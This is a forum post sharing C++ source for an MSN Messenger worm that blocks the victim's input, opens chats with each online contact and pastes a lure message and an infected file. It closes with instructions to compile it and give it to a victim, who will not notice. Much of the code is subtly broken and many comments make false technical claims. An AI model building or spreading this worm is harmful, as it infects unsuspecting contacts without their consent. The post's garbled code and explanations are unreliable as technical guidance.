Jump to content
Jako

[C++] MSN Worm Module + Spreader

Recommended Posts

#include <Windows.h> // We include the windows header library since we are working with winapi

#ifdef _WIN32_WINNT & 0x0403
#pragma comment(linker, "/ALIGN:4096") // Win2k8+ likes to limit buffers to 2048-bit array
#pragma warning(disable : 4106) // This error tends to come up alot, let's just ignore it
#define WIN32_LEAN_AND_MEAN // Shouldn't this be a standard by now?
#endif

/*
We must always prototype the functions that we will use in
our program prior to defining them so the compiler wil know
what to expect when reading code. Good programming practice
*/

int MSN_StartFileSpread(LPSTR spread_file, LPSTR spread_msg);
BOOL MSN_CopyDataToCB(LPSTR cb_data, HWND hwnd);
BOOL MSN_CopyFiletoCB(LPSTR cb_data, HWND hwnd);
int MSN_CloseActiveWindow();

// #import "../xxx/path/to/tlb/file" NOTE BELOW

/*
This should be the path to the msn messenger API class
note it's a .tlb file -- I have another function which
gets the base file path then afterwords you would just
import it, but I'm sure it won't be too hard to make a
function for this since it's like the only .tlb file
in the MSN folder lul -> Just GetModuleFileName() it
*/

BOOL MSN_CopyDataToCB(LPSTR cb_data, HWND hwnd)
{
HGLOBAL hGlobal;
LPVOID lpData;

if (OpenClipboard(hwnd) <= 0) return FALSE; // if we cannot open clip-board then exit ()

EmptyClipboard(); // empty the data inside the clipboard so we can put new data in

hGlobal = GlobalAlloc(GMEM_DDESHARE|GMEM_MOVEABLE,strlen(cb_data)+1); // reserve null bytes + alloc
hGlobal = GlobalLock(lpData); // so it blocks further data to be inserted into this c/b by the user
strcpy((LPSTR)lpData, cb_data); // Copy the clip_board data passed by param(1) to allocated grid

GlobalUnlock(hGlobal); // allow user to use data now since we cleared previous space with our data
SetClipboardData(CF_TEXT, lpData); // let the computer known that standard text is passed to c/b
// other standards include CF_ANSI and CF_UNICODE, POSIX std
CloseClipboard() ; // close clipboard just like we would a socket since its no longer in use
GlobalFree(lpData); // and of course clear the string data of original param for re-use
// this is just in case we want to use function again we wont have
// the old string data inside the clipboard if we want to add new
return ERROR_SUCCESS; // Notify the compiler, if it got to here, feed it 1 bit, good job!
}

/*
* This is fun, and you'll see it a lot in my programs
* I only include headers where needed. Here I include
* shlobj.h so I can use the DROPFILES Union Structure
* It allows me to link an filename to virtual memory
* directly without the need to allocate memory space

* Also note, just because the include is all the way
* out here doesn't mean it's not the preprocessor any
* more. The way MASM interprets x86 binary files is it
* would scan the file for pre-definte values before
* scanning for virtual includes (#def, #ifdef). After
* that is complete, it would look for the typecasts and
* namespace defintions, then functions prototypes, then
* finally it reads the code within your function header
*/
#include <shlobj.h>

BOOL MSN_CopyFiletoCB(LPSTR cb_data, HWND hwnd)
{
char InfectedFile[MAX_PATH]; // MAX_PATH = 256 characters just windows standard
int InfFileSize = NULL; // sizeof dropped object + data file, and its good to initialize always
HANDLE hdData;
LPDROPFILES lpDP;
LPBYTE lpbData;

memset(InfectedFile, 0, sizeof InfectedFile); // set 0 bytes of data to InfectedFilePath
strcpy(InfectedFile, cb_data); // Copy file path passed from param(1) to InfectedFile

if (OpenClipboard(hwnd) == FALSE) return FALSE; // again check if we can open clipboard if not exit

EmptyClipboard();
InfFileSize = sizeof DROPFILES + sizeof InfectedFile; // set the file size accordingly
hdData = GlobalAlloc(GHND, InfFileSize); // The filesize is set GMEM_MOVEABLE | GMEM_ZEROPOINT
lpDP = (LPDROPFILES)::GlobalLock (hdData); // We need to use data value, dont allow interaction
lpDP->pFiles = sizeof DROPFILES;
lpDP->fWide = FALSE;
lpbData = (LPBYTE)lpDP + sizeof DROPFILES; // lpDP is the denoted drop file structure add to data

CopyMemory (lpbData, InfectedFile, sizeof InfectedFile); // Copy our data to the infected file
// by providing it a size == to sizeof(infectedfile)
GlobalUnlock (hdData); // Okay, we're done with the data set, we can now use it
SetClipboardData (CF_HDROP, hdData); // Finally set the clipboard data associated it with file
CloseClipboard (); // close the clipboard since we are no longer using it
return ERROR_SUCCESS; // return 0x1, this is satisfaction for our compiler
}

int MSN_CloseActiveWindow()
{
HWND msn = NULL; // initiate it or compiler complains
for (int i=0; // initialize 'i' variable in the loop
(msn = FindWindow // declaring header window handler to FindWindow API hook
(TEXT("IMWindowClass"), // We are looking for an active window called 'IMWindowClass'
NULL)) != NULL; i++) // keep going until we find it, there should only be two active
{
SendMessage(msn,WM_CLOSE,(LPARAM)0,(WPARAM)0); // once the window is found, close it
}
return EXIT_SUCCESS; // exit, same as earlier, except different circumstance, same value though
}

int MSN_StartFileSpread(LPSTR spread_file, LPSTR spread_msg)
{
LONG IMW;
BSTR cname;
long ICS, i;
HRESULT res;
VARIANT vtu;
MISTATUS mIS;
int counter = NULL;

IMSNMessenger3* imsnCall = NULL;
IDispatch* getID = NULL;
IDispatch* dPCS = NULL;
IDispatch* dPC = NULL;
IMSNMessengerContacts* pIMCS = NULL;
IMSNMessengerContact* pIMC = NULL;
IMSNMessengerWindow* pIMW = NULL;

CoInitialize(0); // Call the Init thread from MSN header lib

res = CoCreateInstance(SID_MSGPT, // Create a passive thread
NULL, CLSCTX_ALL, RID_MSNQUERY, // to look for online users
(void*)&imsnCall); // in the victims friends list and save

if (FAILED(res)) return -1; // if msn query fails (i.e. no users are online) then exit file spread

imsnCall->get_MyContacts(&dPCS); // Compose list of online contants into list denoted by dPCS

res = dPCS->QueryInterface
(__uuidof(pIMCS),
(LPVOID*)&pIMCS);

if (FAILED(res)) return -1; // If list confirmation query fails and list is not found exit

res = pIMCS->get_Count(&ICS); // get number of contacts in the online list
if (FAILED(res)) return -1; // if we failed to get number of contacts, the exit

BlockInput(true); // This is a fun switch that blocks input from the user (keyboard+mouse)
for (i = 0; i < ICS; i++) // perform a for loop going through ICS (each person in contact list)
{
getID = NULL; // victim id = 0
res = pIMCS->raw_Item(i, &dPCS); // load contact list into current input frame (dPCS)
if (FAILED(res)) continue; // if it fails, we don't really care, it works anyways

res = dPC->QueryInterface(__uuidof(pIMC),(LPVOID*)&pIMC); // input frame focus on current user
if (SUCCEEDED(res)) // if the input frame is set then perform loop to load file
{
res = pIMC->get_Status(&mIS); // is the user online or offline when we message them?

if (FAILED(res) || mIS == MISTATUS_OFFLINE) // if we cant get status or user offline->exit
{
pIMC->Release(); // clear current contact list
dPC->Release(); // refresh and try again
continue; // we can move on to next query (flag 1), 1 more and worm will exit
}

pIMC->get_SigninName(&cname); // the following line inherits this function
VariantInit(&vtu); // create a new thread to check for users active in chat

res = imsnCall->raw_InstantMessage(vtu,&getID); // check if contact is blocked or not
if (FAILED(res)) // if the contact is blocked which is denoted by a -1 (FAILED)
{
pIMC->Release(); // clear contact list
dPC->Release(); // refresh and try again
continue; // even if it is blocked, we can move on (flag 2), worm spreader now exits
} // if both flags were marked then something is wrong (anti-debug) possible analysis

res = getID->QueryInterface(RID_MSNMSG_Window, (void*)&pIMW); // Open chat with our victim
if (SUCCEEDED(res)) // If it successed then continue, if not, well, no point then... quit
{
pIMW->get_HWND(&IMW); // Gets current state of the window (error checking is it active?)
SetForegroundWindow((HWND) IMW); // if not active (passed from previous call) now it is
SetFocus((HWND) IMW); // Set the mouse focus on the chat box inside the current window
ShowWindow((HWND) IMW, 0); // Open window in physical memory, now we interact with it

if (MSN_CopyDataToCB(spread_msg,(HWND)IMW)&0x1) // &0x1 checks if function executes
{// Now that we opened a chat session we can send our payload (message in this case)
keybd_event(VK_CONTROL,NULL,KEYEVENTF_EXTENDEDKEY,NULL); // Press and hold ctrl
keybd_event(VkKeyScan('V'),NULL,NULL,NULL);// Look for the 'v' key
keybd_event(VK_CONTROL,0xFF45,KEYEVENTF_EXTENDEDKEY,NULL); // Insert our data
keybd_event(VK_RETURN,NULL,NULL,NULL); // hit the enter key
}// these keyboard events will paste the data pased from "spreadmessage" into chat

if (MSN_CopyFiletoCB(spread_file,(HWND)IMW)&0x1) // same routine, in this case it
{ // it loads a file to the chat session (file upload) no need for RETURN key
keybd_event(VK_CONTROL,NULL,KEYEVENTF_EXTENDEDKEY,NULL);
keybd_event(VkKeyScan('V'),NULL,NULL,NULL);
keybd_event(VK_CONTROL,0xFF45,KEYEVENTF_EXTENDEDKEY,NULL);
}// The function class already processes the file upload routine as defined previously
counter++; // +1 successfull payload sent, increase return bits for the end
}
pIMC->Release(); // clear the contact list
dPC->Release(); // refresh and try again
}// unless the current contact list buffer is at the max (for-loop is finished)
}

imsnCall->Release(); // clear the composed contact list, refresh active buffer
BlockInput(false); // the victim can now interact with his computer once again
pIMCS->Release(); // clear the value of number of contacts in victims list
dPCS->Release() ; // clear all remaining contact from virtual layer buffer
CoUninitialize(); // Uninitialize the init call for the MSN messenger API
// We now uninitialzed the API since our worm has finished its task
return counter; // return the number of bits equal to victims queried
}

Instructions:

You simply need to link the MSN API binary (as commented in the code), and compile it with MSVS2012 providing the following linker options:
_CRT_SECURE_NO_WARNINGS
_OPTIMIZE_GSY_SECURE
_HEADER_NO_NODE_INC

Then you give it to your victim. It's very quiet, and works nicely in the background without the victim's knowledge. The payload is only 7.6kb and includes 2 anti-debugging/anti-detect routines.

 

CREDITS:

BugTrack

  • Upvote 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...